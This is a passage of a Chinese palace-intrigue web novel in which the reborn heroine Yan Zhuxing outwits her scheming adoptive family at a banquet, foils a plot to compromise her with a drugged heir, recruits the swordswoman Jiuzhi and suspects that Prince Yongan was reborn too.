他看得出来,晏逐星眼里没有半点犹豫和害怕,她是真的敢驾着马车撞翻他的。
但他闪得太过慌乱,崴了脚,重重往后栽去,落得个四脚朝天的狼狈模样。
马车离开了定远侯府,车上的丫鬟半棠惊恐万分。
大小姐果真和从前不同了,竟然连二少爷也不怕。
她可得小心伺候着,万万不能惹怒大小姐。
晏逐星没有马上去卫国公府。
裴二小姐虽然借了她一件旧披风,但她不能只还一件旧披风。
皇后娘娘御赐的宝物不可送人,她只能出门买一件新的披风当做谢礼了。
她先去了一趟牙行,让牙人帮忙置办了一辆马车和车夫。
她不打算一直用侯府的马车和人,定远侯的人不会容忍她太久。
谁知道之后他们会不会在马车上动手脚。
想到这,晏逐星摸了摸带出来的银元宝,对皇后娘娘的感激之意更上一层楼。
随后她去九章堂买了一件月白底松霜绿的披风,这才登门去了卫国公府。
“定远侯府大小姐找我?”裴芜微微蹙眉。
她和那位好像没什么交集吧,她来做什么。
“前几日,世子爷从您这要了一件披风给那位小姐,想必她是来道谢的。”丫鬟温声提醒。
裴芜恍然大悟,命人将晏逐星带了进来。
她有些好奇,这个闹上公堂的女
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子究竟是什么模样。
晏逐星见到她,行了一礼:“多谢裴二小姐雪中送炭。”
“不客气,小事一桩罢了。”裴芜好奇地看着面前的人。
如今这位可是京城里的风云人物。
先是被家里人告上公堂,而后又得了皇后娘娘的赏赐。
她忍不住询问:“皇后娘娘为何给你赐东西啊?”
晏逐星将吴嬷嬷说的理由重复了一遍。
虽然她觉得这个理由有些勉强,但她也想不出好端端的皇后娘娘为何会这样做。
“这样么?”裴芜若有所思地点了点头。
她盯着晏逐星送来的回礼,询问道:“不是说你母亲对你不好么,怎么你还有银子给我买新的披风?九章堂的衣裳,可不便宜。”
“滴水之恩当涌泉相报。若不是……唉……”晏逐星一一回答了她的问题。
她回答得很有技巧,每句话后边都留了钩子,惹得裴芜忍不住继续问下去。
问着问着,晏逐星就把温如霜母女做的恶事倒了个干干净净。
听到最后,裴芜已经跟她同仇敌忾了起来。
“没想到啊,定远侯夫人竟然这样歹毒。你妹妹因病寄养在外,不能像你一样时时陪在她身边,她偏袒你妹妹虽然情有可原,但也没不必这般苛责你吧,又不是你的错。”
晏逐星擦了擦眼泪,哽咽道:“我总想着,是我亏欠了妹妹,让她在外边受苦,让一让她也无妨。三岁孩童都懂得家丑不可外扬的道理,我又怎会不懂。只是我怕再让下去,把命都让没了,这才在公堂上说了那些话。”
“委屈你了。”裴芜听着愈发同情她了。
“日后要是遇上什么事,你只管差人来找我,我帮不了你,还可以找堂兄。他是京兆尹,厉害着呢!”
待到晏逐星要离开时,裴芜又给她拾掇了一匣子的珠花首饰。
“使不得!”晏逐星赶忙推拒,却被裴芜温热的掌心覆住手背。
“我收了你的礼物,你也该收下我的礼物才是。除非,你不把我当朋友。”
她娇俏的脸上满是认真。
晏逐星沉默了片刻后,轻轻抱了抱她,拿着匣子转身离开。
她有些自行惭秽。
这一趟来,是算计,是利用,她不配和裴芜这样心思澄澈单纯善良的姑娘做朋友。
如果,上辈子她能认识裴芜就好了。
晏逐星驾着马车离开,裴芜站在原地冲她挥手,裴明镜正好下值回国公府。
“大堂兄。”裴芜赶忙冲他行礼。
“先前离开的是定远侯府大小姐?”裴明镜扫了一眼离去的马车。
第12章 难不成是药效过了,她全想起来了?
“正是。”裴芜点了点头,随后滔滔不绝地说起了今日之事。
“大堂兄,你知不知道逐星有多可怜。侯府连个车夫都不给她配,她那个妹妹更是可恶……”
裴明镜听完,瞥了她一眼:“你这没心眼儿的趁早离她远些。你俩加起来八百个心眼子,她八百零一个,你,不足一个。”
裴芜怔在原地。
待到裴明镜离开后,她气得直跺脚,看向自己的心腹丫鬟璎珞:“大堂兄刚刚是不是在说我傻?”
“呵呵呵,大少爷和小姐说话,奴婢不敢偷听。”璎珞望天,不敢正面回答。
“哼。”裴芜拂袖离去。
她才不傻呢。
她看得出来,晏逐星是好姑娘。
……
晏逐星回了侯府。
温如霜得知她去卫国公府还了披风,便差人将她叫了过来。
“逆女,你可真是愈发没有规矩了。今日出门,竟然不和我这个当家主母通传。还和你兄长直呼我的名讳,跪下!”
晏逐星站在原地,盯着她:“温如霜,你别忘了,过几日我还得进宫指点十公主跳破阵舞呢。”
温如霜没想到她当着她的面就敢直呼她的名字,气得头顶都要冒烟了。
可偏偏她搬出皇后来压她,她还没法反驳。
她悻悻地看着晏逐星:“我且看你能狂妄多久,等到冰嬉宴后,有你好看!”
“看来晏明修并没有把我的话完全转达给你。”晏逐星神色冷淡。
她弯腰凑到了温如霜面前,低声道:“你说,若我亲生爹娘找到我,知道你们对我做了这些事情,你以为他们会放过你们吗。”
温如霜喉头猛地咽下口水,退后几步,冷汗顺着贴额角往下淌。
她差点脱口而出“你都想起来了?”
幸亏理智回笼,她咬着舌尖硬生生将这句话咽了回去。
“你亲生爹娘该感谢我将你捡回来才是,不然你早就被拐子带走,不知道卖到哪里去了。再说了,我可是侯府主母,谁敢动我。”
“哦。那就拭目以待吧。”晏逐星转身离开。
她刚刚不过是试探一下温如霜罢了。
之前做鬼的时候,见她拿出来过一个金镯子说是她幼时的贴身之物。
寻常百姓人家,断然不会给女儿准备金镯子。
她原本的身世应该非富即贵,而且相当疼爱她这个女儿。
只是她什么都想不起来了。
而温如霜似乎也不知道她的亲生父母究竟是谁,一切只能从长计议了。
温如霜望着晏逐星离去的身影,直到看不见她的裙角,紧绷的脊背骤然一松,那口屏住的气息才颤巍巍吐出来。
“你说,她是不是都想起来了?”她猛然攥紧李氏枯瘦的手腕。
“奴婢,奴婢也不知道呀。”李氏也慌得很。
当初他们回夫人的娘家,弄丢了二小姐,遍地都寻不到人。
夫人在街上瞧见打扮得粉雕玉琢的大小姐,便生了邪念,将人抱走代替二小姐。
大小姐彼时不过一两岁的模样,吐字却很清晰,一直哭喊着要找爹娘哥哥,死活不肯改口叫夫人娘亲。
夫人不得已给她下了药,让她忘掉了自己亲生的爹娘。
今日大小姐旧事重提,难不成是药效过了,她全想起来了?
“不,她肯定是在诈我,她那时候才那么小,怎么可能想得起来。”温如霜死死抓着李氏的手,指甲几乎要掐进她的皮肉里。
“不能让她把这事说出去,她要是说出去了,那一切就都毁了。”
她冷汗淋漓,谋划着该如何除掉晏逐星。
三日后。
威宁侯府送来了请柬,邀请她们过两日去参加侯府老夫人的寿宴。
温如霜想要拒绝,如今满城流言蜚语都是关于他们定远侯府的
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,她若是去了少不得要被旁人暗讽。
她不想去丢那个人。
晏明月却劝她赴宴。
“娘亲,咱们必须去,还得大大方方的去,不然旁人肯定又要多加揣测,觉得咱们亏待了姐姐。”
温如霜思索片刻,觉得她说得也有几分道理。
“况且,我与威宁侯府的云霏姐姐是好友。她的祖母过寿,我不去,也不合适吧。”晏明月拉着她的手撒娇。
温如霜彻底偏向了她的提议,但想到刺头一般的晏逐星,又有些烦躁:“只是晏逐星她未必愿意跟我们一起去。”
一起去了,也未必会乖乖听话。
若是在寿宴上闹起来,那可就丢脸了。
她没敢把心底话说出来。
“那岂不是更好。她若在老夫人寿宴上闹起来,正好让裴大人和皇后娘娘看看,她根本就不是她表现出来的那么无辜和可怜!”晏明月咬紧了牙关。
上回院子里闹鬼,她吓坏了,病了整整一天。
后来查出来应该是有人装神弄鬼,她怀疑过晏逐星,可又没有证据,没办法让爹娘惩治她。
但她已经认定了是晏逐星干的,她就一定要报复。
原本还病恹恹的她,带着恨意,病好得飞快。
“好。那就听你的,叫上晏逐星一块。”温如霜同意了她的提议,命人将请帖送到玉澜院。
“小姐,咱们要去威宁侯府做客吗?”双鲤有些紧张。
“去,当然要去!”晏逐星没想到打瞌睡了就有人递枕头。
之前还想着若是威宁侯府不给她发帖子,她就利用裴芜混进去。
但那日接触过后,她发现裴芜是个天真单纯的好姑娘,她不能把她牵扯进来。
如今倒好了,请柬自动送上门来。
这场宴会,她非去不可。
因为,宴会上有一个她要找的人。
一个很重要的人。
第13章 别怕,有我替你撑腰
上一世,她被封为女将军后,接手了霍将军留在京中的密报营。
密报营中曾记录过,景王谢明奕身边有一个名叫九栀的侍妾武功极高,暗中替他杀了不少对头。
而两人相识,正是在威宁侯府老夫人寿宴上。
当时九栀受伤潜逃,景王救了她,她便跟了他当做报恩,之后对他言听计从。
晏逐星想要做的就是,把景王的救命之恩抢到手里。
她现在身边能信任的人只有双鲤,她需要一个武功高强的人跟在她身边。
九栀同为女子,跟着她再方便不过了。
而且她也瞧不上景王。
又要占人身子陪他行鱼水之欢,又要人替他卖命。
呸!
和定远侯府这群人一样不要脸。
……
赴威宁侯府宴席前夕,温如霜差人送来了一套头面和一袭月白云锦裁就的锦衣。
晏逐星没有拒绝,收下了。
赴宴当日,晏逐星穿的是九章堂连夜赶制出来的冬装,首饰戴的也是皇后赠予的那些。
连日进补的燕窝参汤到底养出些成效,此刻的晏逐星不似前些时日那般枯瘦,如雪后残枝,倒像是新枝上扫落了雪的梅花,自冰肌里沁出几分生气。
晏明月看着她的眼神里满是妒忌。
她刚被侯府认回来的时候就意识到一件事,晏逐星比她漂亮许多倍。
她这辈子恐怕都无法赶超。
原以为这几年将她打压下去,她一辈子都会是那副灰头土脸的模样。
没想到短短几天的滋养,她的眉眼竟然又变得生动了起来,隐隐有了从前的几分风采。
“姐姐,你怎么不穿娘亲送你的衣裳,可是不喜欢?”晏明月忍不住开口。
晏逐星淡淡地扫了她一眼:“对啊。你明知故问点什么。你觉得她给我的衣裳首饰,能比皇后娘娘给的更好?”
晏明月直接被噎住了。
温如霜压下心底的火气,握紧女儿的手,示意她少说两句。
她们今日要扮演的是慈母和委曲求全的妹妹,她们才是受害的一方,不能让人看出问题来。
晏逐星要嚣张,就让她嚣张去吧。
到时候当着那么多贵夫人的面露出这样张狂的模样,她的名声可就没了。
“好了,上车吧。”她沉声开口。
晏逐星大大方方地上了车,而后闭目养神。
晏明月不情不愿地跟了上去。
“定远侯夫人携大小姐、二小姐到!”威宁侯府门前响起门房清亮的唱喏声。
陪着母亲迎客的赵云霏低声嘟囔:“娘亲,你怎么把晏逐星也请来了。”
威宁侯夫人钱氏压低声音:“皇后娘娘都给了她脸面,还有卫国公府那边的裴二小姐似乎也跟她交好,咱们怎好厚此薄彼。”
说完她便笑着迎了上去,和温如霜母女几人寒暄。
晏明月一看到赵云霏就笑眯眯地迎了上去:“云霏姐姐,好久不见,我好想你哦。”
“确实好久不见,你怎么瘦了那么多?”赵云霏也同她寒暄了起来。
“前几日病了。”晏明月解释的时候,怯生生地看了一旁的晏逐星一眼。
“好端端的,怎么会病了?”赵云霏也跟着看向了晏逐星。
“唉,算了,没什么,咱们先进去吧。你我许久未见,我有好多话想跟你说。”晏明月欲言又止。
“行。”赵云霏拉着晏明月径直走了进去,领着她去和其他的世家小姐打招呼,就这样将晏逐星扔在了原地。
她们以为自己在孤立她,殊不知晏逐星正需要这样的独处。
密报营里的记录只写了景王和九栀是在这场宴会上相遇的,具体的地点压根没写,她只能自己去赌一把运气了。
“帮我盯着景王,他若落单了,记得告诉我。”晏逐星低声吩咐双鲤。
“是。”双鲤乖巧应下,没有任何质疑。
晏逐星找了个侯府的丫鬟,借口赏花,让她领自己到处看看。
另一边,赵云霏带着晏明月去了后花园的亭子中央。
一群人都对晏逐星京兆府状告侯府下人欺辱她的事情十分感兴趣,都不用晏明月挑起话题,就问了起来。
晏明月哭哭啼啼地开口,将早已想好的借口说了出来。
“自打我被接回家后,姐姐便觉得娘亲偏心我,便隔三岔五弄出伤痕,让娘亲心疼。”
“娘亲给她做的衣裳,她表面上谦让给我,背地里又总是骂我抢了
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她的东西,变本加厉地欺负我。”
“我忍了许久,直到哥哥发现她一直欺负我,才教训了她。结果她又以死相逼,弄得自己浑身是伤,让哥哥心疼她。”
“后来爹爹发怒了,才让她去旧院子里反思。结果她就闹到了京兆府去,爹娘怕说实话让她名声有损,最终只能认下了她说的话,惩戒了下人……”
“为了让她消气,我娘在九章堂给她定了足足四十套衣裳。”
这话一出,丫鬟们忍不住都发出了惊呼声。
四十套衣裳,有些门第低的,亦或者是不受宠的姑娘,一年都做不了那么多衣裳。
“此事好像是真的,前日我娘请九章堂的绣娘上门,绣娘说他们接了定远侯府的大单子,我要定过年的新衣裳,得往后排。”户部尚书的女儿忽然开口。
“天呐,四十套衣裳,至少得上千两银子了吧。”另一个人跟着附和。
晏明月点了点头,露出委曲求全的笑容:“只要能让姐姐开心,爹娘花再多银子也是愿意的。”
“那你呢,给你做了几套衣裳?”有人又问。
晏明月比了个五,随后便低下了头。
她可没撒谎,虽然入秋时娘亲就已经让九章堂给她做了十五套衣裳,但这一回,确实只做了五套。
赵云霏听到这番话,顿时义愤填膺了起来。
“她在你母亲膝下长大,享尽侯府荣华富贵,结果你才回来多久,她就这样欺负你,太过分了。她有四十套衣裳,而你只有五套,她到底有什么可不满的。走,找她算账去!”
“算了云霏姐姐。若是闹起来,回去吃亏的还是我。”晏明月一边伸手拦她,一边抹眼泪。
“别怕,有我替你撑腰。”赵云霏二话不说就要带晏明月去找晏逐星。
他们出来后,正撞见晏逐星和丫鬟倚在廊柱下交头接耳。
赵云霏正要发难,晏明月突然反手扣住她的手腕,她竖起食指抵在唇畔,“嘘”了一声。
两人屏息凝神贴墙而立,隐约听到了“景王”“独身”之类的字样。
两人对视一眼,彼此瞳孔里倒映的惊涛骇浪几乎要漫出眼眶。
晏逐星今日赴宴的目的,竟然是景王?
第14章 孤男寡女,有仇当场她就要报!
晏逐星察觉到窥探的目光,扭头一看,就撞上了赵云霏和晏明月。
不等她开口,赵云霏抢先一步开口训斥她。
“晏逐星,你在侯府锦衣玉食十多年,如今连侯夫人对明月的半分垂怜都容不下?还要处处欺负她,这般狭隘心性当真令人不齿。”
“我处处欺负她?她和你说的?”晏逐星挑眉看向了晏明月。
“没有,姐姐,我什么都没说。”晏明月露出了惊慌失措的表情,“我们来是告诉你寿宴马上要开始了,你不要乱跑。”
随后她便强行拉着赵云霏离开了。
晏逐星一眼就看穿了她拙劣的手段。
赵云霏特意来替她出头,无非就是听了她的挑拨。
只不过她今日有更重要的事情要做,懒得搭理他们。
她从双鲤那里得知景王没有单独去过什么地方,身边的侍卫也没有离开过。
她放了一半的心。
或许,她还有一半的概率可以找到九栀。
赵云霏被晏明月拉走后,还在替她打抱不平。
“你怕什么,有我呢,她还敢当着我的面打你不成。”
“云霏姐姐,我知道你对我好,可是我总归是要回侯府的。”晏明月又摆出了惯常用的那套可怜兮兮的模样。
“除非姐姐嫁人离开侯府,我才能安稳度日。可姐姐前不久在京兆府闹了那么一出,京中的夫人们根本无人愿意让她当儿媳妇。我母亲为难极了。”
她话音刚落,赵云霏便露出了恍然大悟的表情。
“怪不得她盯上了景王。”
“啊,云霏姐姐,这可不能乱说。”晏明月捂住了嘴唇,露出惊讶的表情。
赵云霏却继续分析了起来:“虽然她名声不好,但毕竟是你们侯府嫡女,当个景王侧妃也是可以的。”
“不行,不能让她当景王侧妃。景王妃是个好脾气的,若是让她去了景王府,那她还不得翻天。日后你就更没有好日子了。”
晏明月听到这话,眼泪扑簌簌地往下落:“云霏姐姐,那我该怎么办呀?”
赵云霏看着她这柔弱不能自理的模样,心中保护欲大大增加。
忽然,她眼珠子一转,有了好主意。
“你觉得让她嫁给我表叔怎么样?”
“你表叔?”晏明月一愣,而后反应了过来。
赵云霏的表叔贵为烈国公世子,年已而立却仍未娶妻。
只因他年幼时的一场大病,烧坏了脑子,心智尽失,成了个痴儿。
晏明月喃喃道:“这不好吧。”
她一方面觉得让晏逐星嫁给一个傻子很解气,另一方面又觉得让晏逐星攀上烈国公府便宜她了。
“有什么不好的,能嫁给我表叔,是她高攀了。她日后还得给我们道谢呢。”赵云霏语气里满是不屑。
她不喜欢晏逐星,也不喜欢那个傻子表叔,将两个讨厌的人凑一块刚刚好。
……
宴会过半,晏逐星正夹起一块芙蓉鸡片,旁边斟酒的丫鬟突然手一抖。
酒壶“咣当”砸在桌上,冰凉的梅子酒顺着桌沿淌下来,正浇在她月白色裙摆上。
“奴婢该死!”小丫鬟扑通跪下。
赵云霏瞧见这一幕,开口道:“我这丫鬟**手毛脚的,还请晏姐姐见谅。姐姐若不嫌弃,可以到后头暖阁换一件新的衣裙。”
晏逐星瞥了她一眼,又看了一眼晏明月,晏明月避开了她的眼神。
晏逐星思忖了片刻,接过丫鬟递来的素绢帕子擦了擦手:“带路吧。”
她让双鲤回马车上去取一套新的衣裳来,自己跟着那丫鬟去了后头的暖阁。
这个位置,她还没查过呢。
走到一半,那丫鬟忽然惊呼一声:“晏大小姐,奴婢忘了带暖阁的钥匙,劳烦您在此处等候,莫要胡乱走动。”
晏逐星点了点头,看着她离开。
丫鬟一走,她便搜起了附近的假山,只可惜什么也没找到。
没过多久,另一个丫鬟匆匆来了。
“翠儿有事去忙,由我领大小姐去更衣。大小姐请。”
丫鬟领着她往前走。
眼见越走越荒凉,晏逐星停下了脚步:“不是说去暖阁么?”
“暖阁坏了,得去后院。”丫鬟垂眸回答。
“你究竟是谁?想做什么?”晏逐星猝不及防地出手,掏出一直藏在怀里的**果断刺向她。
这丫鬟的脚步一看就是练家子,她如今武功还没练成,只能先下手为强。
丫鬟瞪圆了眼睛,显然没有料到一个侯府大小姐会随身携带**。
她抬手去挡,
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**插入她的掌心,疼得她龇牙咧嘴,当即反击。
两人就这样打了起来。
这时,荒废的院子门忽然被打开,一个男人走了出来。
“热,好热。我要喝水!”
他眼神有些迷茫,随后一边嚷嚷一边开始脱自己的衣裳。
晏逐星认出了他。
这是烈国公唯一的儿子——尉迟敦。
她这一分神,就给了那个丫鬟机会。
丫鬟给了她后背重重一击,将她和尉迟敦同时推进了门内。
高高壮壮的尉迟敦哐当倒下,给晏逐星当了肉垫。
“哎哟,好痛!呜呜呜呜,我要娘亲,要娘亲!”他哇哇大哭了起来。
晏逐星当即捂住了他的嘴。
如今他们孤男寡女在这里,若是他的哭嚎声引来了外人,恐怕就解释不清了。
丫鬟一瘸一拐地摸到门闩,想要趁机将两人锁在里边。
晏逐星当机立断,反手掷出了**。
有仇当场她就要报!
谁知道以后还有没有机会。
**正中眉心,丫鬟的瞳孔骤缩,手指徒然向前抓,随后整个人直挺挺向后倒去,后脑磕在青石砖上发出闷响,血迹大片晕开,就这样没了气息。
“热……要喝水……敦儿渴……阿娘……呜呜。”尉迟敦在满是尘土的地上哭嚎着打滚。
脑袋上的玉冠歪斜着蹭满了尘土,头发也乱成了一团。
三十来岁的人如今和三岁稚童也没什么区别。
晏逐星顿时反应了过来。
有人给他下了药!
晏逐星猜到了这个计划定然和赵云霏还有晏明月有关,想必他们很快就要来了。
她不能留在原地坐以待毙。
她撇下尉迟敦想走,没想到尉迟敦却扑过来抱住了她的腿。
“热,敦儿热。”他呜呜地嚷嚷着。
再撕扯下去,她的衣裳就要彻底坏了,到时候有人过来可就真的说不清了。
挣脱无果,晏逐星用哄孩子的语气开口:“敦儿,我们来玩**好不好?”
“**!好!”尉迟敦从地上爬了起来,揉了揉眼睛。
他的眼睛有些模糊,看清晏逐星的打扮后,他瞬间变得激动了起来。
他用脏兮兮的手捧住了晏逐星的脸,脱口而出——
第15章 一年时间,足够她弄死所有定远侯府的人了
“妹妹!”
尉迟敦欣喜地盯着她,傻乎乎地冲着她笑。
晏逐星来不及思考他为什么叫她妹妹,但他肯听话就好。
晏逐星的目光落在了院子里那个废弃的旧水缸上。
她领着尉迟敦走了过去:“哥哥,你躲在这数到一百,我就回来,好吗?”
她正准备掀开水缸上的破旧盖子,不曾想,里边还藏了一个人。
竟然是九栀!
真是踏破铁鞋无觅处,得来全不费工夫。
她找了半天,没想到竟然在这种情况下遇见了她。
九栀从水缸里一跃而起,怀里的剑出鞘对准晏逐星二人。
晏逐星果断用盖子格挡。
她长话短说:“我是定远侯府大小姐晏逐星,我可以帮你逃出去。作为回报,你在我身边当一年丫鬟保护我,一年后,你可以自由离开。”
她只会在定远侯府呆一年。
这一年的时间,足够她弄死所有定远侯府的人了。
九栀的剑一顿,原本质疑的话拐了个弯:“有月银吗?”
晏逐星一愣,当即点头:“有。”
九栀又问:“管饭吗?”
晏逐星再次点头:“管。顿顿有肉。”
“成交。”九栀当即答应。
她答应得太过痛快,反倒让晏逐星没反应过来。
上辈子,二皇子不会就是用管饭的借口诓得人为他卖命的吧?
两人交谈间,尉迟敦一直乖乖地在数数。
“十八、十九……”
只是数着数着又忍不住喊热。
“妹妹,好热。”
喊完忘了自己数到多少,又一根筋地从头开始数。
“一、二、三……”尉迟敦捂着眼睛继续数。
看着九栀苍白的脸色,晏逐星知道她应该是刚刚和她动手时伤口又撕开了。
当机立断让她换上了那个丫鬟的衣裳,随后和九栀合力把丫鬟的尸体扔到了废弃的水井底下。
“待会遇到我的丫鬟,你就说我的鞋子湿了,让她带你去拿一双新的。出了侯府左拐到巷口,我的马车在那,你把这个给车夫,他会送你去安全的地方。”
晏逐星把双鲤的模样打扮告诉她之后,又将提前准备好的一支木簪子交给了她。
两人正准备离开,尉迟敦就冲晏逐星扑了过来。
“难受,抱抱……”他懵懵懂懂地想要伸手想去撕扯晏逐星的衣裳。
晏逐星退后几步,喊了几声“哥哥”。
但他似乎已经失去了理智,没有任何回应。
晏逐星便意识到他这是药效彻底发作了。
她让九栀先走,自己留下。
她不敢出手伤尉迟敦,毕竟他现在神志不清,动作行为毫无章法。
她怕动手拿捏不准分寸,一个不注意把他打死,那可就麻烦了。
她只能带着他在院子里溜圈子。
“热,好热……”尉迟敦一边哇哇大哭一边追晏逐星。
他身上的衣服被他越脱越少,只剩一件单衣,晏逐星快急疯了。
这样下去迟早会有人来。
但她现在跑哪尉迟敦追到哪,若是往外跑,被别人看到那更麻烦。
就在她一筹莫展之际,一个人影从院墙上一跃而下,落在了尉迟敦身后。
“啪”的一击,尉迟敦便晕倒了。
……
“你说什么?敦儿怎么会不见了。”烈国公夫人赵玉润霍然起身,身子摇摇欲坠。
她这辈子最亏欠的就是儿子。<
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br>当初夫君在玉门关外遭了暗箭,她守着昏迷的丈夫昼夜诵经,却忽视了六岁的儿子,让他烧了好几日。
然后害他变成了一个傻子。
她悔不当初。
后来在佛前供了十年长明灯,好不容易得了个粉团似的女儿。
谁知他们的母女缘分竟然那般短,去年才十三岁的女儿,竟然意外坠湖去世了。
她大受打击,要不是为了儿子,她恐怕撑不到现在。
儿子就是系着她三魂七魄的命灯,若连这最后的希望都要生生掐灭,她也不想活了。
“快,快去找他。”赵玉润哆哆嗦嗦地开口。
威宁侯老夫人赶忙安慰她别着急,命令下人去搜院子,务必要将尉迟敦找到。
赵玉润坐不住:“不,我得亲自去找他。”
和她交好的夫人也赶忙起身,陪着她一块找儿子。
赵云霏给了晏明月一个眼神,晏明月怯怯开口:“我姐姐去更衣好半天了,也没回来,我有些担心她是不是出事了。老夫人能不能也帮忙派人找找她?”
威宁侯老夫人听到这话,眉头微不可察地皱了皱。
傻子世子和来赴宴的侯府千金同时失踪,这可不是什么好兆头。
“去,也找找定远侯府大小姐。”老夫人再次下了命令。
赵云霏给翠儿使了个眼神,示意她将寻人的烈国公夫人引去荒院。
不曾想,一行人走到半路,就看到晏逐星落落大方地出现在众人面前。
她的发髻有些乱,但衣裳依旧齐整。
赵云霏和晏明月瞳孔骤缩。
这怎么可能!
晏逐星不是应该被尉迟敦按在荒院里生米煮成熟饭吗,为什么看起来毫发无损。
第16章 也是重生的?
晏逐星看向烈国公夫人:“夫人是在寻世子吧?”
烈国公夫人忙不迭点头:“是,你可瞧见敦儿了?”
晏逐星温声回答:“世子被永安王送回院中了,正等着夫人呢。”
烈国公夫人顾不得仔细询问什么情况,她心系儿子,道了声多谢便急匆匆地离开了。
赵云霏和晏明月听到“永安王”的名号,一个惊得指甲掐入掌心,另一个更是面色白了又青,青了又白。
赵云霏轻轻推了晏明月一把。
晏明月咬着唇开口:“姐姐,你不是说换衣裳去了吗?怎么衣裳没换还遇上永安王了?”
她问出了在场的人都很好奇的问题。
“这就得问赵大小姐了。”晏逐星看向赵云霏。
“先前你的丫鬟领着我说去暖阁换衣裳,而后久久没出现,我便打算先回宴会上找我的丫鬟。没想到,路上偶遇了永安王和世子爷,他们迷路了,向我问路,我便给他们指了路。”
这个理由合情合理,赵云霏也没法说什么。
她露出一丝尴尬的笑:“翠儿回来我让她给我取了东西,便另行指派了一个丫鬟去接晏姐姐,你们没遇上吗?”
“没有。”晏逐星果断否认。
丝毫不提她们做的那些事情。
丫鬟已经是**,没有证据,她又何必多说。
反正受害人不止她一个。
想必烈国公夫人会很乐意调查清楚谁陷害了她儿子,这事就让她去办吧。
“是我御下不严,让晏姐姐笑话了,待我找到那丫鬟,定狠狠训斥一番,让她给姐姐赔罪。”赵云霏忍气吞声地道歉。
“嗯,时辰不早了。母亲,妹妹,咱们先回吧。”晏逐星看向了温如霜母女。
温如霜先前就看到了女儿和赵云霏的小动作,一下就猜到了两人私底下肯定干了什么她不知道的事情。
听到晏逐星提到永安王和烈国公府世子,心头猛地一跳。
如今晏逐星要回侯府,她当然答应。
“老夫人,我等就先告辞了。”她冲威宁侯府的老夫人行了一礼,随后带着两人离开了侯府。
晏逐星瞧见站在马车边上的半棠,见她冲自己点头,便知道九栀已经安然离开。
她这才放心地登上马车。
上了马车,温如霜想要打探晏逐星遇到永安王说了什么。结果还没等她开口,晏逐星就闭上了眼睛假寐。
晏明月想要张口,却被她横了一眼。
有些话,现在可不方便说。
晏逐星没空管母女俩的眉眼官司,她还在回忆先前遇见永安王的事情。
……
晏逐星万万没想到,从天而降打晕尉迟敦的人竟然是上辈子她用命护住的人。
她也是后来做了鬼,从温如霜等人口中方才知晓,他是永安王,帝后最疼爱的小儿子。
做鬼的晏逐星可以认识他,但现在的晏逐星不可以。
于是她佯装惊恐地询问:“你是谁?”
谢翊宁思忖片刻,说出了自己的**。
“永安王,谢翊宁。”
“臣女见过永安王。”她赶忙行礼。
“不必客气。”谢翊宁盯着眼前的小姑娘,眼里是他自己都没有察觉的温柔。
真是个小可怜,走到哪都要被人暗害。
要是没有他派人盯着,她今日遇到这样的事,可怎么办呀。
他淡淡道:“你待会只需要和烈国公夫人说人在本王这里就行了,事情牵累不到你。”
说完转身就要离开。
“您为什么要帮我?”
谢翊宁的脚步顿了顿,转过身看向她,晏逐星后知后觉地意识到她竟然将心里话问了出来。
谢翊宁定定地看着她,而后挑眉一笑:“你就当是本王上辈子欠了你一命,这辈子报**了。”
说完他命护卫扛走了尉迟敦。
那会儿晏逐星还有些茫然,但这一刻,她忽然反应了过来。
上辈子欠了她一命。
难不成是指在战场上,她用身体护住了他的事?
晏逐星猛地睁开了眼睛,心跳声震得耳膜生疼,恍惚中她好像看见断箭残阳里,谢翊宁铠甲上的那朵血梅正与自己心口的伤重合。
也对。
他们是一箭穿心,同时身亡的。
她一个无人爱的假千金都能重生,天潢贵胄的谢翊宁为何不能。
那日皇后娘娘突如其来的赏赐好像也找到了原因。
什么破阵舞,不过是托词罢了。
过去那么多年,皇后娘娘怎么可能莫名其妙就想起她,这背后必然少不了永安王的推波助澜。
……
烈国公夫人慌慌张张地回了院子,看到儿子面色潮红躺在床上,太医正在替他把脉,顿时吓了一跳。
“敦儿……”她身子一软,差点摔倒在地。
“世子并无性命之忧,夫人可否借一步说话。”谢翊宁伸手搀扶住了她。
听到没有性命之忧,烈国公夫人长长地舒了一口气。
她轻轻拂开他搀扶的手,将袖口褶皱抚平整:“但凭王爷吩咐。”
两人走到隔间谈话,心腹守在门外。
谢翊宁没有绕弯子,直接将真相赤裸裸地说了出来。
“有人给世子下了**,将他引至威宁侯
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府荒废的院子里,意图将他和定远侯府大小姐关在一起。”
“据本王所知,宴会前,赵云霏和定远侯府大小姐起了口角冲突。而后宴会上,定远侯府大小姐就被丫鬟弄湿了裙摆,被人引去换衣裳。”
他每说一句话,烈国公夫人的脸就白上一分。
“王爷可有证据?”她不愿意相信乖巧懂事的侄孙女竟然敢对自己的儿子下手。
谢翊宁嗤笑一声:“若本王此刻能在这侯府后宅查个明白,明日御史台的折子就该参本王个僭越之罪了。”
“是老身糊涂了。”烈国公夫人也意识到自己言语中的不妥,连忙道歉。
关心则乱,儿子出事,她一下脑筋就转不过弯来了。
她郑重冲谢翊宁行了一礼:“多谢王爷救了我儿。”
“该谢的不是我。”谢翊宁只留下了这么一句话。
烈国公夫人一怔,随后明白了他的意思,该谢的是那位定远侯府的大小姐。
她没有将此事闹大,给烈国公府和威宁侯府都留了面子。
想到儿子在娘家遭遇了这样的事情,她气不打一处来,当即命人将此事告知兄嫂,让他们必须给她一个交代。
她则守在了儿子身旁。
听到太医说服药后出了汗,再泡泡药浴就没事了,她才松了一口气。
赵云霏和晏明月的计划是临时准备的,自然有很多漏洞,因此没多久老威宁侯和老夫人就查到了孙女干的好事。
“跪下!”老侯爷和老夫人觉得十分丢人。
自家的孙女,竟然对长辈下手,还用的是这么下三滥的法子。
赵云霏没想到这么快就东窗事发了,她惊慌失措地看向爹娘,不曾想,爹娘眼里没了往日的宠爱,全都是失望。
“你和那位晏大小姐无冤无仇,你为何要做这种蠢事?!”老夫人气急败坏地询问。
今日乃是她六十大寿,竟然会闹出这样荒唐的事情来。
好在事情没有闹大,不然她真的要被活活气死。
赵云霏双膝重重磕在青砖上,寒意顺着裙裾直往骨髓里钻。她下意识地替自己辩解:“祖母,此事与我无关啊……”
“人证物证确凿,你还敢狡辩。”老夫人气得将手中的茶盏砸向她。
“你当侯府是市井瓦舍,由得你耍这些腌臜手段?若是不说实话,我立刻将你嫁回邵阳去,从此不得入京。”
听到这话,赵云霏“哇”一声就哭了出来。
“祖母,我错了,我不是故意的。”她哭哭啼啼地把事情的经过说了一遍。
“我只是想帮明月妹妹出口气。”
第17章 没想到会听到这样的秘闻
老夫人听完两眼一黑更生气了。
